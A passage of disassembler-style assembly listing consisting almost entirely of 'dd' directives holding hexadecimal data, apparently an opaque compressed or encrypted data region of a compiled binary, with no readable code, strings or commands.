983F6CF2h, 11BF8C54h, 67C1DC04h, 0F77E4801h dd 0E56018DFh, 3FBBD119h, 0EB902C37h, 0BCEAC344h, 0C2F28711h dd 0FA3F3566h, 31576EB1h, 2ACCDCFFh, 225C3F8Ah, 0F100A9C8h dd 6690390Bh, 49476213h, 62778F40h, 9F095D89h, 211AD1BAh dd 0A5C18A1Ch, 8B422F39h, 9D130B44h, 9814CAC3h, 860678A0h dd 75EC468Eh, 0BA87631Bh, 80D071E8h, 0DC0F5288h, 0E962A554h dd 2FC59385h, 21BC4C67h dd 0E1019C2h, 0DB04C1Fh, 5FB8158Ah, 0C84E3814h, 88654400h dd 0F2B10ECBh, 0E636A4D7h, 9DF6756Fh, 0CECA390Ah, 11D494D4h dd 4D7B2621h, 5E7588Ch, 0EA33F8AAh, 6E80FE0Ch, 0E670215Bh dd 3410AB23h, 6C8F170Ah, 4EA36EF1h, 750D9462h, 0FF1D9A53h dd 0C0B83925h, 0D85F81E3h, 76C60C72h, 7FC3FDFAh, 0B29481DCh dd 5274FA96h, 383E2EA5h, 5ADF6CA5h, 42FE981Fh, 0DC3B3FFBh dd 0B1302079h, 3CE5EA8Fh, 0BAB21BE5h, 0C5FF3060h, 0A5A92202h dd 35F69405h, 0E7FDCC0Bh, 511F878Bh, 0FBECFB2Ch, 9746181Fh dd 0F51DE8ECh, 0AA94F4E0h, 4463C148h, 2FEBE8DBh, 5F0C31Fh dd 0A3D51A0h, 76BBDF88h, 1213389Ah, 0C04D155Dh, 7659F756h dd 840583F2h, 0E9668C01h, 0BC449730h, 0B2EA220Bh, 0C0992655h dd 8BAC02BFh, 3AC78001h, 98FDCC24h, 0CB76CBCAh, 36810BB1h dd 6BDE80A2h, 5E667221h, 21310906h, 0C38D3FC3h, 0A2F047F5h dd 0ED280E61h, 666F8014h, 686285Dh, 71EBE628h, 0D32AEB9Ch dd 0E2F11C3Eh, 0A17F00E0h, 0E5029895h, 9DEB8020h, 576745F7h dd 0B38E6744h, 0A905DEB2h, 0D05F2E04h, 67C000C0h, 0F47AEF70h dd 0DC0AE62Fh, 1A3143DDh, 0EDD4CC58h, 0BCAEB007h, 8F2F3C2Ah dd 0A8B90FA3h, 9DA3E852h, 0B6E145D3h, 0DD2ED33Fh, 0EFF1A5D4h dd 0B8780C4Ch, 0DBED9E9Eh, 0F45D12AAh, 0C5DFC968h, 0BA2EE874h dd 21E07090h, 85093071h, 0BDDE1947h, 0AF06C650h, 7CC60452h dd 95DF5421h, 0FA679523h, 0F58ED048h, 5C80E464h, 97BD0010h dd 50A476Eh, 94B9281Fh, 52B6F254h, 0E949096Fh, 0AD81155Fh dd 0AB55AE8Fh, 0CB893D1Ch, 3D90F1AEh, 6FE07DF8h, 4C89D8B5h dd 2B7FE52Fh, 9A9423E4h, 0A37105FDh, 0E60E4B4h, 52E9A8BDh dd 4BA80874h, 2EB225D3h, 0BB099755h, 0ED7E5D74h, 0CFD47652h dd 9B34D0EDh, 2E909485h, 0E05A6E5h, 3CC06E35h, 9872D5Ch dd 0C8E61890h, 7CA649D5h, 0B6082D2Eh, 0D219C952h, 0A02A49ACh dd 0ADFDDBB7h, 24838EF0h, 14910D8h, 80811013h, 10550380h dd 5BDCC982h, 0F6C25CA0h, 0B8EE59B6h, 4EFEAF97h, 8130A3FEh dd 4100CE1h, 3FEECF31h, 5403CBA4h, 4661E8C7h, 3D75B07Bh dd 6BA45354h, 7014162Ch, 0DE104F02h, 0BB46780Ah, 0A1A13193h dd 60074018h, 4621A072h, 0C25AB2CBh, 0B8872C68h, 2B0A2CAh dd 0C435732Eh, 0CAAD90A8h, 0B1505F5h, 9DE21806h, 33ECE832h dd 7D9B3152h, 214D72B1h, 1A594F26h, 99FC7140h, 0E94E0E71h dd 29B803D2h, 0F867B5F0h, 0ECE0DC21h, 118B779h, 0BFECFE22h dd 6D03C779h, 0A1DFB234h, 783F3372h, 0B1227DFBh, 6ABE4D9Bh dd 5F33DDE2h, 89F1A297h, 0D40C4C67h, 9AE1E16h, 4DCAC43Fh dd 12D950FFh, 0C3C087ECh, 49978A6Dh, 0F453BACFh, 5F2D05D3h dd 383FF54Ch, 0AAD8D3B2h, 50F1B81Ah, 1B8C0179h, 950F8CA0h dd 72E59593h, 0FC5000CEh, 0A33813C5h, 9C61E220h, 62C72879h dd 796954CEh, 1E8936Fh, 0DF28381Ah, 2A472DCFh, 0FE0671A7h dd 0A967D627h, 7739CDC2h, 3267CBF4h, 48B0BB3h, 0B9835B1Bh dd 80FBABCAh, 9FA881C0h, 0D50EFC04h, 56A0A53h, 4113BBE0h dd 0C92D1D44h, 0B77BD053h, 0AC8ED0BAh, 758E7AA2h, 0E0B181D3h dd 9496D03Eh, 0CE4A7FFFh, 0C39D9B89h, 212C7909h, 7D415829h dd 0A6E46B05h, 99C02626h, 28778C42h, 126494A1h, 35AE75C9h dd 0A6639141h, 4634FB8Bh, 9BC655F3h, 2878C88h, 4F34934Eh dd 81F48A55h, 1737C1Bh, 0AC639A3Bh, 5649617Eh, 0A04A6A91h dd 2842CAAEh, 680C707Ch, 0D8B4C988h, 1EE16EA5h, 0F0BE26CAh dd 83B2ABFFh, 0BD26BFADh, 0DFDDE419h, 0F9229179h, 16343D0h dd 989B6413h, 0BA41162Ah, 25ACBA87h, 0A0AFD0D4h, 14724B60h dd 0BA405FF7h, 20504728h, 0DFF138E0h, 0F6688FAh, 0F84E1055h dd 6272C89h, 0E8D5C92h, 876D86B3h, 0FE9B94D2h, 0FB80FF85h dd 6FAD3A0Dh, 0E06EA3A4h, 0C00550h, 7B4702BFh, 98152A28h dd 23170B54h, 0F6984BEDh, 6D4DD0FBh, 85F6A314h, 50F8E40Fh dd 6F1365DCh, 0B4D24DC3h, 0EF140A25h, 0F3018775h, 5118616Ch dd 826747A8h, 0F3D58D37h, 943EF0BAh, 8591FBD3h, 73A2A3A8h dd 8FD28181h, 462E943Eh, 18BA29F2h, 382697D9h, 1F4827E9h dd 0EC89680Ah, 38666913h, 0F6AAF267h, 2BE02050h, 0B5F1A6D0h dd 42F801C1h, 0E66A3127h, 7AC12041h, 0CE553CF5h, 5B37C16Ch dd 10504AB0h, 37C6560h, 0B0FF84Fh, 0AD7F67A3h, 0EAC5E2E7h dd 9A21D74Eh, 0A99781A5h, 0DB4CD3F3h, 0C15213FDh, 0ABAF090Fh dd 786394E8h, 9AE76965h, 74C9D0E8h, 655034E3h, 282FFCDAh dd 9F56E38Fh, 4FF21A86h, 181A535Fh, 0AEAD22F6h, 0A10DFAA9h dd 4FF6EA45h, 1BD038C4h, 0A3A3AE41h, 0C91A69A4h, 8C5D7AB2h dd 7F41442Ch, 281113D9h, 999A9312h, 9D453D86h, 3A17140Eh dd 0ACE8F1FDh, 0D6924DEBh, 0F8FA18D5h, 5361C695h, 669E3D52h dd 0E1A71A5Ah, 0D2A6AAAEh, 0F14D362Eh, 62EE06C6h, 0A77D20EBh dd 489B0945h, 856E4BBh, 0A1B8C4C3h, 0D28A1188h, 1244B48h dd 0C7F2DBBAh, 0ACC93589h, 0F1F82A68h, 1A5158C4h, 895DBF4Fh dd 70BE525Ch, 0A66547BBh, 5A6CD238h, 4E4893B5h, 0A7B01A52h dd 0DA261696h, 0DFB02CD7h, 3382CE7h, 9A84DD69h, 3DEBD282h dd 94144AEAh, 1B231426h, 5E60A409h, 49FFA1D5h, 6943CD43h dd 0CAC8D314h, 69A44968h, 0CFB36CD4h, 51D1AC02h, 1EB949AAh dd 3297594Dh, 0BC0E479Ah, 0D1A67831h, 4DBD2D7Ch, 0E3B73461h dd 943A7ACBh, 0FCA7727Ch, 1A6C630Ch, 40D38806h, 43C03F20h dd 7D66657Dh, 0A7925DC6h, 0B850D18h, 86286506h, 0F3687645h dd 0ABA4458Dh, 0BFE41510h, 4518CA1Fh, 5FE4C04Eh, 9AE5C40Ah dd 79C6E848h, 0E02AB281h, 1E40A140h, 60554A0Bh, 2F35A292h dd 15AC0685h, 17E8BED5h, 3A1CAD21h, 0FC4318A4h, 846087A0h dd 0E7AEB793h, 6AB77DDFh, 42BEE1AEh, 0E0A38B62h, 0AE0FF905h dd 0FEF830C1h, 8010A217h, 3FD643DDh, 0F70CC0Eh, 0F626DCF0h dd 0DB0B696Bh, 9A9901C7h, 0D81FC7BDh, 0C5177DFBh, 429432B8h dd 0B481E940h, 3452F25Ah, 0F1FBA36Dh, 78163FCDh, 4616E169h dd 9E7D2F2Fh, 0C17F9DAEh, 0EA06836Fh, 8DAD7CC5h, 7D141781h dd 0A43F4119h, 69F14D4Dh, 0BC8F1DB5h, 0C4489901h, 800A6589h dd 40667758h, 46170FB3h, 0F473618h, 7A02CA08h, 1D35B8EFh dd 4258D033h, 50CB8D9Ah, 31C49622h, 8FC2D29Dh, 4A5B35EFh dd 9E40F903h, 1E4AEF8Dh, 98A69A04h, 5C6751D3h, 0F0887D23h dd 0A6E09113h, 87287284h, 0C8C67C2Eh, 13BE2141h, 0A014C526h dd 9824B283h, 0BCC5BD0Bh, 154940E9h, 85859A5Ch, 0B2D0FABDh dd 5F47378Ch, 706638C7h, 341F6C0h, 0FE610D28h, 1ADF88F7h dd 7ADEB0BAh, 17D628E2h, 52DB4E35h, 0E2A0B760h, 935B4C0Ah dd 92836527h, 0A260EC39h, 968281EBh, 0E612773h, 0C6B94E34h dd 0A84B32h, 0CC173F9h, 841FD868h, 0ABB1286Dh, 4487E81Ch dd 788A8068h, 3512EFB9h, 5BAAC17Eh, 185E0304h, 0C2EB318Bh dd 0CECD07C4h, 201050Eh, 5D6BCFECh, 1FA8CDCDh, 2FF70867h dd 8A1A089Ch, 392528DFh, 0AF550C3h, 91D34108h, 0DB87CA33h dd 68A03E07h, 0AC741063h, 201000C2h, 3C841C88h, 20841444h dd 41F70912h, 61EE0512h, 0D8165538h, 0BA554002h, 95562F97h dd 0D024A05Bh, 92D0DF2Ah, 77CE69FEh, 2BCACC5Ah, 0E1AA2B0Bh dd 1555BAC4h, 0C415B225h, 0A0D090B8h, 0D8B5640h, 2D426A1Eh dd 685A430h, 7022E6EBh dd 5E07F1BDh, 0D026BC21h, 1E62CAF5h, 20796208h, 0D80A3AE1h dd 0B765587h, 51C317AFh, 218631E1h, 288103C8h, 11201300h dd 4AAB2242h, 226F2C1Dh, 60B41F00h, 0F95BD888h, 0D989E3E2h dd 3BE7E628h, 72D2123Fh, 604CB133h, 48103A89h, 0A207A026h dd 0F45B5F32h, 98AB5F91h, 0B402A518h, 8538D5B0h, 0F86AB188h dd 0C3632490h, 15368AFDh, 0DD08D0A0h, 0C4A9500Ah, 0BE9162AAh dd 5C1A9BECh, 1AD5895Ch, 3271E648h, 432910ADh, 28809CA8h dd 90901865h, 59501140h, 4CB2240h, 0FDB4836h, 0A6FD14C9h dd 2E3EBB42h, 7465565Ah, 0AB2F58Ah, 34C21F24h, 50BE491h dd 0E145AFC5h, 438AEAFAh, 3CD67AC5h, 31A80217h, 1E04F86h dd 2D99708Dh, 20C22D87h, 0CC69943Ah, 3024D8D0h, 9D097D6Eh dd 8FF2B876h, 9D971F09h, 16B517C1h, 0CAB85DD3h, 0EC424D92h dd 0C0A1749Eh, 0DB00A879h, 942C10ECh, 0F718418Ch, 418B9154h dd 0A391C407h, 0A845AC8Bh, 662F2498h, 33F9FEF2h, 185F9688h dd 0C73C024Bh, 0E10E9C25h, 98608E3Ah, 37C8CC5Bh, 9E2FE954h dd 0D6A01C20h, 0C566FCFFh, 2702B8F0h, 655E7F6Ch, 48B5F2C5h dd 0A100B36Ah, 442C4D73h, 48124B04h, 480B91E4h, 0A9815104h dd 0FD8BAE6Fh, 5A0234D5h, 0E952E46Fh, 0CC74622h, 80935204h dd 36EB0086h, 573E2B27h, 42C1609h, 944D4A1Ch, 49235CE1h dd 0F44BDB3Fh, 5FBF67ECh, 0FB836396h, 31602FEh, 0C534CC77h dd 0EDA4B3C0h, 0D8CE2002h, 791B382Eh, 2FBFB17Dh, 5A162A61h dd 88348BFh, 89F26D67h, 3074AF16h, 0CBBDCD2Eh, 9DDF5AA0h dd 0C6622C02h, 2ACBB6B2h, 66564A12h, 0F6C2C8C6h, 7C6697C7h dd 0D228F1D9h, 65FC33F8h, 22C26914h, 83517D6Fh, 18CDF199h dd 0D184F958h, 44632449h, 0CC437996h, 1D663520h, 0CDB78DB4h dd 7CA43032h, 0C65147B8h, 2051E329h, 99FB84Dh, 0C3EEC2BDh dd 988B45A3h, 92087597h, 0FA446C52h, 4B71EEDCh, 0FAA61FF1h dd 4E8F542Bh, 5852FD69h, 538901C7h, 0B8410152h, 110F9813h dd 9EC60032h, 0AC1C351h, 711A698h, 0BC5FF29Fh, 0E6027424h dd 291BD129h, 55713A7Eh, 6A7385F4h, 0EF3B6E3Eh, 0F61D5724h dd 0F4BE137Dh, 2F17FBABh, 28CB17EDh, 95DFC024h, 0B28D4D2Eh dd 0C6CF81BFh, 0BFF091D7h, 100D23D3h, 93F6AED4h, 7B170517h dd 0ABA6B061h, 8BA46591h, 7245B133h, 0BB746958h, 98624B07h dd 13A035E5h, 0CE0F10BAh, 0E98D8608h, 5734E557h, 0B0DA8E44h dd 582C83B2h, 86598EE2h, 1585295h, 21302FFDh, 0D86488A0h dd 0F1483E58h, 46D6FD9Bh, 8313CA9Eh, 91208D8Ah, 0BEFD81Ch dd 93BCFC39h, 6178624Ah, 58D90FE5h, 77F1EF22h, 16C3A446h dd 982053F8h, 8D28BBD8h, 7A918C51h, 4BF298DAh, 3403DDCFh dd 0C3C8A2Fh, 0EC4A1165h, 0A7507FEAh, 91F90FF9h, 0DEB9FC3Fh dd 0E9D1A2BEh, 86243313h, 2B3F1D48h, 25987059h, 42F946FCh dd 45B0FC0Ah, 0A7D2E5BCh, 0EF242CA7h, 0F2E934BCh, 4A96E594h dd 0E5D6D57Dh, 86C288h, 80A618Bh, 73242346h, 0C63649BEh dd 0B9CDA32Ah, 6A3617Dh, 5D4A27EFh, 0BCB61E37h, 112E4B30h dd 38736250h, 357D9D07h, 1B78D10Ah, 8455EE29h, 55CC5E4Bh dd 54E601B1h, 97EC02ABh, 517967D7h, 0AA35E58h, 0D7417D7Fh dd 7748B74Fh, 69C5E5Bh, 0CA5B3A34h, 0C007268Bh, 0A325D5B4h dd 0A32A75E2h, 0F1DDAD47h, 3E506793h, 10B28E49h, 0C0EF964h dd 8904E98Dh, 24950BD5h, 2F0CECCFh, 0C2DE8555h, 0C3B3BA74h dd 0C5C54087h, 0FD0AC026h, 0E29ADF50h, 15F9DB1Dh, 9DEF62F1h dd 0F3C8E227h, 44D34C7Ah, 298191F6h, 9D33170Ch, 7740F8ACh dd 0A863BA78h, 0D72C8B18h, 6060A447h, 7690607Ah, 0DF7EEC26h dd 5D772C04h, 0AC0102Dh, 174A1D95h, 0D2CB049Eh, 2C0F6F63h dd 0B428793Eh, 56B13083h, 1B71618Ah, 50947CACh, 1639808Ch dd 0F622E168h, 0E22A81B6h, 49C49308h, 0A6FC7911h, 10988114h dd 0C92015D3h, 0EA23EF2h, 45324E1Fh, 0E77D79A8h, 5D331204h dd 0C247AA71h, 973B386h, 99049BC6h, 0FE27288Ah, 0FA48E028h dd 3B186E0Bh, 0DF32CE3Fh, 0C9EC59D5h, 14586460h, 292154F0h dd 177E35F2h, 0D746191h, 11D21CC6h, 1E9DE7Fh, 0E4B808Ah dd 0B3E3D996h, 0F61DBC9Dh, 70AF5A08h, 0FEF48053h, 5B92D975h dd 72E0FBDDh, 46A40C69h, 11CAE9C8h, 0E10DA271h, 0F731B5A3h dd 7D53114Dh, 40BB8122h, 5D0FE3C1h, 4601790Eh, 20D0AA1h dd 268CC1Fh, 2289A3E8h, 0C02E54D8h, 42A87711h, 652DA45h dd 805D1C25h, 72AEEA23h, 11C0B860h, 39B2276h, 0BD082EDEh dd 277AED1h, 8631C491h, 3410D631h, 5AB630ACh, 5164AE91h dd 4D412E63h, 8BE72D89h, 0B5EF1AB3h, 37785D7Dh, 0F0E2F9D6h dd 86BA1702h, 9312567h, 9099A373h, 4E22A453h, 1C38C445h dd 0F1043C75h, 341598C4h, 4C6EADB1h, 0A5A6F1B2h, 0FBB4099h dd 224422C0h, 0AE11h, 0D0000000h db 1, 0 dd offset off_41E000 dw 434Ah dd 5000h, 0 dd 20C6A4F4h, 42351C85h, 0C8D5BBEh, 21D0928h, 1845EC40h dd 211FD081h, 85A21685h, 72C869Bh, 1E8703B8h, 2152D92h dd 1BDB2020h, 65FA6021h, 32F121BFh, 0F382076Eh, 18876B5Ch dd 8507A080h, 35DAE40h, 41C4E380h, 86963E85h, 3FAA1016h dd 2D4219EFh, 106A65h, 0C84DE2C0h, 21580818h, 394031A7h dd 0A171A421h, 1DE0384h, 822085B6h, 0BE865314h, 61308AAh dd 19A91213h, 89300862h, 30885366h, 28603248h, 49CA8387h dd 0F850621Bh, 8429D704h, 25930081h, 0B0A063AEh, 854E2885h dd 17528592h, 64041D88h, 0F0084D76h, 0C8676868h, 492EC0A1h dd 59D1A189h, 0F181014Ah, 52113EDAh, 160E3808h, 47BC885Bh dd 0B2881422h, 0A17ED38h, 8470921h, 15DAA156h, 0CE028757h dd 4A87FA98h, 856B7606h, 13CF1A10h, 9A5A1DEEh, 82583423h dd 0B9F0208Bh, 4690F851h, 0C042C33Fh, 429F0143h, 73B342E1h dd 0C94265BAh, 7086FA8h, 42F1370h, 309CDF90h, 0A075D0F9h dd 0F2C04347h, 0DF4317EFh, 49BC2E6Fh, 0C80835B7h, 0B031161Eh dd 48E0DC85h, 87E3B242h, 31D8010Ch, 8F150DDBh, 625C2F28h dd 87874C8h, 575488ACh, 0D96020B5h, 0F590FCB5h, 5C08B21h dd 0D2C528C9h, 92101B00h, 480808C0h, 9281A504h, 4A0AC314h dd 89291A52h, 44A4A949h, 9293A528h, 4A524580h, 5CEE6314h dd 8A21E0h, 0FC8D86C3h, 84867F08h, 418AA8Ah, 102F8A1Dh dd 1F1CF5Dh, 59D08F25h, 1F4A40C7h, 14180460h, 0E9421284h dd 0A50A4A16h, 9431286Ah, 50E4A1E9h, 441288A5h, 124A2694h dd 5128AA51h, 64A2E946h, 128CA51Ah, 4A369471h, 28EB503Dh dd 48EBD048h, 0D9404704h, 96792D62h, 5C84BC89h, 300A6179h dd 3405000Fh, 70085562h, 80A10F8Eh, 8087D6EAh, 87B29CC4h dd 195AD781h, 87023AC2h, 190DA79Dh, 501368C4h, 5A84470Dh dd 1D100D7Fh, 20043300h, 63088F21h, 0FA041F20h, 18CBD3A6h dd 9174325Ah, 0A4CB9DD2h, 0E569B759h, 0E405EDE4h, 8ADB0A01h dd 211034BBh, 584D16B2h, 1E618AE1h, 6F3460D9h, 30642384h dd 0D1DE721h, 960AADBAh, 0D64EDF77h, 2920B2DEh, 2C652E00h dd 0F6009980h, 81E572E8h, 0D0DDF09h, 0FB0424CEh, 8C14304h dd 2300E9FFh, 8391474Ch, 58EE76Dh, 0F0405847h, 96184904h dd 17271922h, 9C76B638h, 17801180h, 0C0A07048h, 2C1A0F08h dd 84C2A170h, 0C86C3A1Fh, 10200048h, 0C949CA4Ah, 0CB4BCC4Ch dd 0CD4DCE4Eh, 0CF4FD050h, 0D151D252h, 0D353D454h, 0D555D656h dd 0D757D858h, 0D959DA5Ah, 0DB5BDC5Ch, 0DD5DDE5Eh, 0DF5FE060h dd 0E161E262h, 0E363E464h, 0E565E666h, 0E767E868h, 0E969EA6Ah dd 0EB6BEC6Ch, 0ED6DEE6Eh, 0EF6FF070h, 0F171F272h, 0F373F474h dd 0F575F676h, 0B7B1E1E3h, 0E4A0D1EBh, 0EDEFF1F3h, 0F5F7F9FBh dd 0FDFE46F5h, 0A32C5EEEh, 3EF094D0h, 2AA189E8h, 5FC81072h dd 0F174B38Ah, 6659D957h, 62162445h, 231CAC40h, 0E6376799h dd 4326C901h, 16997F4Dh, 651C0F50h, 33C747B0h, 4A291C71h dd 87954115h, 178F5227h, 80256EE6h, 0A8EE3E0Dh, 8716B442h dd 8E1AD20Ah, 0D00404Eh, 8C42628h, 242A25Ah, 0D811D00Ah dd 7A0B833Bh, 0A0C046Dh, 0EC096B9Ah, 5196A024h, 7510B707h dd 41300502h, 4F8F0260h, 0B10112Bh, 7E058924h, 500240F8h dd 8E1F7F96h, 2FC29EE6h, 81768339h, 7CC90207h, 69532090h dd 0D6057720h, 0F41136A4h, 0C97A245Ah, 0BA98D5B7h, 0C1158DBh dd 6662829Eh, 764E1E7Eh, 2016797Ah, 0B749D3DBh, 0CAB10068h dd 4209B8CAh, 6A6667E9h, 9260E235h, 0C5C8EE4Eh, 763B07F2h dd 84067E6Eh, 8263092h, 8009A56Dh, 60A54806h, 982B331Ch dd 3E04BB3Ah, 78CBAD0Dh, 1DE831E6h, 57B4AF20h, 0B615061Fh dd 451383BEh, 556BB16h, 0BA014008h, 3A01730Ch, 9B3E2066h dd 711CE127h, 0F264C293h, 90B02902h, 7A761DAEh, 8AD02C68h dd 4101C012h, 240C962h, 8196CBDDh, 4E2E04FDh, 40F02F01h dd 0A4283B4Bh, 7335EC5Dh, 0BE611102h, 0D361275Ch, 0D41A1242h dd 0B68305A1h, 0DCF5171Ch, 0D6DD3306h, 15A8EE66h, 0CE3B4637h dd 0A4560740h, 190E7134h, 86B93D5h, 0C5542825h, 0BEDCAC4Ch dd 2038C03h, 8E47D0BFh, 0C56A0610h, 2872349Ah, 7287493Eh dd 2F5E7041h, 29F3DE1Dh, 8D59A571h, 0EC91CC0Ah, 0D6A00A81h dd 2A75F2h, 8BCB67A7h, 906A2C40h, 2477F30h, 0BC0AA121h dd 0B650AA69h, 44AD41A9h, 8E950005h, 0A0A8AF3h, 863CAA5Ah dd 7C50A432h, 254D519Ch, 2D2AE1A7h, 3ECF506Ch, 6FD80341h dd 0DF104A33h, 787A5BF3h, 1BE12C91h, 3BBBC673h, 94051A7Ch dd 0E850D8F0h, 513838A1h, 7B2D6A0Eh, 0E2863B28h, 61A58A7Ch dd 0DF8B72A9h, 7B9A5A8Ah, 38601A35h, 0AC1D82A1h, 5CA083B8h dd 0D38A1049h, 0A2095350h, 2330E591h, 882994E1h, 11BECB0Dh dd 8AD96568h, 3F9A0814h, 6AEC0A2h, 9BB726F5h, 0DED2514Bh dd 8F98E30Ah, 26B28AE5h, 918E1FA6h, 0A8970BABh, 7F576B49h dd 6BA19088h, 5285C532h, 9029C28Ah, 68CC0ED5h, 0F0AC34E5h dd 0B12F50A6h, 1D6DD1Bh, 8D1981A6h, 3396F8F0h, 9DC0C1D5h dd 3B18A020h, 0D90A0E81h, 0D62CE9C2h, 608E04A5h, 8C4D2C8Ah dd 0D3393CFh, 494DD3Eh, 0B6ACEF0Eh, 0C5A2E415h, 8756064Bh dd 5B1868A0h, 0C6E31AC4h, 0DAE02617h, 0A514F3C7h, 3D7E08CBh dd 8DD56000h, 6996E6AAh, 4E72E364h, 0C098B348h, 716BC167h dd 594F045Bh, 0BE074277h, 351052EEh, 55CF35DCh, 6C4894E5h dd 3581114Bh, 682B2DA0h, 41740B90h, 0B29C26B1h, 92967BA8h dd 535CD961h, 0A6489667h, 0B14BA2E3h, 9B00C1A0h, 0EF7B5E5Ah dd 0E980129Ah, 0D640C229h, 5C598162h, 0AC6DB79Ah, 872B24A0h dd 42D4C7BBh, 5828A141h, 732E0042h, 33CB805Eh, 59C152DAh dd 0E6C010B7h, 55CB269Fh, 0E0B19D4h, 5527D242h, 17150627h dd 275205C7h, 0FD3E17F6h, 8BFE99Eh, 610A40Bh, 950A801Ah dd 0E254287h, 8004254Ch, 0B0C272BEh, 549B8808h, 0FC6C142Dh dd 14352C6Dh, 67E7F8E1h, 47EDDA58h, 0B045815h, 2382C454h dd 952E6449h, 0DA408147h, 22C9660Dh, 6500E24Bh, 84128525h dd 0A4D82158h, 42580156h, 65A63306h, 0A0F27F61h, 0F609210h dd 60050ECBh, 38090518h, 60915118h, 0BB919254h, 682D742Fh dd 4C13C742h, 417AE2B1h, 2CCF2F5Ah, 3CC02AAAh, 920602DAh dd 508B1D45h, 7A90BD04h, 3016A611h, 17A209B6h, 51E80A2h dd 0FD1047B0h, 48F40917h, 0E8827481h, 6025776Bh, 427AA405h dd 80B0922Fh, 0CB016C7Dh, 80B2048Bh, 0F2C04E30h, 17E8E017h dd 0F0054512h, 60E50AA3h, 0D0160175h, 98C34813h, 13BC200h dd 0C25A1255h, 19D30181h, 0C160F098h, 5C361F11h, 89C562F1h dd 98DC763Fh, 2191C964h, 0F2995CB6h, 5F3199CDh, 66F399DCh dd 0F67F41A1h, 0D168F49Ah, 5D369F51h, 0A9D56AF5h, 9ADD76BFh dd 61B1D96Ch, 0F69B5DB6h, 0DF71B9DDh, 6EF79BDDh, 0F6FF81C1h dd 0E170F89Ch, 5E371F91h, 0C9E572F9h, 9CDE773Fh, 0A1D1E974h dd 0FA9D5EB7h, 5FB1D9EDh, 76FB9DDEh, 0F77FC1E1h, 0F178FC9Eh dd 5F379FD1h, 0ECF5EB31h, 0BEDF77BFh, 0E1F1F97Ch, 0FE9F5FB7h dd 0DFF1F9FDh, 7EFF9FDFh, 0F7FD54C9h, 554552A7h, 5954C95Dh dd 1400DDEDh, 6A3A3406h, 0EF6BA1AAh, 403BA2B8h, 93FCC40Fh dd 8A407AA6h, 0BE1A8BC4h, 0C8257h, 5DA48A79h, 0AF2A2720h dd 2D65066h, 0A45809BEh dd 40148818h, 57A050CBh, 0A322681Dh, 43040455h, 0CD8154D8h dd 15CD3423h, 9DDFECC1h, 8D9EAA1Fh, 5DA6BCh, 0D430AA60h dd 0FAF39359h, 0C4020CA2h, 0FD822604h, 1DDCA898h, 3E1E4BDDh dd 0A99BC267h, 8FA12C6Eh, 5E235EAEh, 99999467h, 0B80BC684h dd 60858854h, 84C84884h, 48387E44h, 484083C8h, 348240AFh dd 0A7A9FE42h, 0C2278C2Fh, 8057A9D0h, 99E6C29h, 6BF29A1Fh dd 460DB53Dh, 5828CDEFh, 0EE047D3Fh, 56088440h, 3C838830h dd 82882482h, 88E4AA8h, 6AA61F90h, 14BF501Ah, 66DFAAD3h dd 43C0DF8h, 192D866Ch, 253D05C6h, 80093B7Ch, 3B395F27h dd 0CFE2EA0h, 893198ABh, 0F8AB2C9h, 4E0E7D8Ah, 0E0B85F23h dd 0A541E1BEh, 93E4DB72h, 87CC09C7h, 830FC101h, 84F96F31h dd 2983E412h, 1F34EC28h, 0E317E2BCh, 121456AAh, 353E4F72h dd 0B22BDC0Ah, 0B47A2A8Fh, 20443528h, 0FCD1DCEAh, 29C5C1E3h dd 83B54290h, 99D7E503h, 0D8AF188Bh, 162BE1F2h, 0AB7EE9D2h dd 59A6A649h, 38189231h, 0C4FC96CCh, 54F8C598h, 0CA1ADC9Fh dd 23E1DAD2h, 72A9579Ch, 85D8999Fh, 88664818h, 91156A25h dd 9879B80Eh, 74186937h, 518B39AEh, 7D941054h, 69479B83h dd 0C50E1599h, 41794F91h, 0FBC47EE8h, 84B56044h, 0DBDD0B05h dd 240F355Bh, 88648188h, 3461EEE0h, 58DC6F51h, 56F74F33h dd 1CE082C8h, 4C1C277Bh, 8CFB8132h, 9B9DEDCCh, 0AB742343h dd 0ECC92CC4h, 8E020E96h, 0A12C91F2h, 0C5C8010Fh, 5E41E809h dd 470A41ACh, 2632A41Bh, 283CACDh, 20F28E0Bh, 8A6C3E31h dd 46287EECh, 0A466CB20h, 6B2B9FF9h, 64337350h, 8DC51D43h dd 0AB442E29h, 0E0ECA602h, 0A8A5C2A9h, 7350CE26h, 71473C55h dd 0A3E649C5h, 0A632CB66h, 0B0AECC72h, 856F8D00h, 0F3202F35h dd 0EE30B2D6h, 759B598h, 8072D347h, 2B7018AEh, 8E7016FBh dd 3322411Ah, 48E09929h, 0B5C0A566h, 60C6AF2Fh, 0D445F004h dd 64C94F09h, 0A4F890h, 84940C6h, 5E0232D4h, 0A5694A92h dd 0BE12424Ch, 490301A4h, 237E4A5h, 12942580h, 4219A020h dd 433C48Ah, 0BBCF992Fh, 4A5B3E95h, 3BD0892Bh, 3201201h dd 53A06B2Ah, 730105Dh, 16451318h, 8A4B5452h, 110128D1h dd 0C4525B3h, 145B2102h, 4ABE4974h, 952D969Bh, 381E5900h dd 0C6E4E3B4h, 790062B8h, 144DA68h, 42BE570h, 0DDE8166Ah dd 3D8100C1h, 0A0182FCBh, 7306202Ch, 591891AEh, 6817997h dd 5EF303Fh, 856B68h, 0E4A014A2h, 9FBA0918h, 6008914Bh dd 0E9FA43D1h, 0DC230D97h, 10F4004h, 79096F12h, 0D825A181h dd 5088FE3Eh, 0A041DC01h, 1E425A84h, 0B1891907h, 1D0008DCh dd 3C886700h, 87300232h, 48205865h, 872002h, 38C4B009h dd 5F12BC25h, 744AE095h, 0B12B4256h, 44AC0957h, 12AC2554h dd 4AA09531h, 2A425444h, 0A8094F12h, 9C25344Ah, 6094B129h dd 425244A4h, 947128Ch, 25144A20h, 94312842h, 5044BF1Fh dd 943D8979h, 12EC25C0h, 4B689681h, 2C025604h, 0A8094812h dd 229773F0h, 87012CE2h, 57C4AA89h, 4E129425h, 244A3894h dd 312F4780h, 8C3AAFF7h, 20EA008h, 0F112D425h, 884AC094h dd 0E128825Eh, 4FB21C84h, 0B4896012h, 0AA25284Ah, 1855454Ch dd 83600961h, 89E05743h, 72210302h, 2782291h, 48292772h dd 0E8C28023h, 0EDE24C09h, 602A04F1h, 0EE43128h, 93CE0D55h dd 0C2420EEEh, 5EC68962h, 1EF7A500h, 0C84C3646h, 0C2D00100h dd 9082507h, 0BC5C095Dh, 0C031DCB8h, 0D1DE411Dh, 0CB4CABBAh dd 8661ABBDh, 4DC45972h, 0D0061AAAh, 0C005C972h, 15A92BB6h dd 0D2D41634h, 298B2AC7h, 2C6EA7F5h, 50B7DC2Eh, 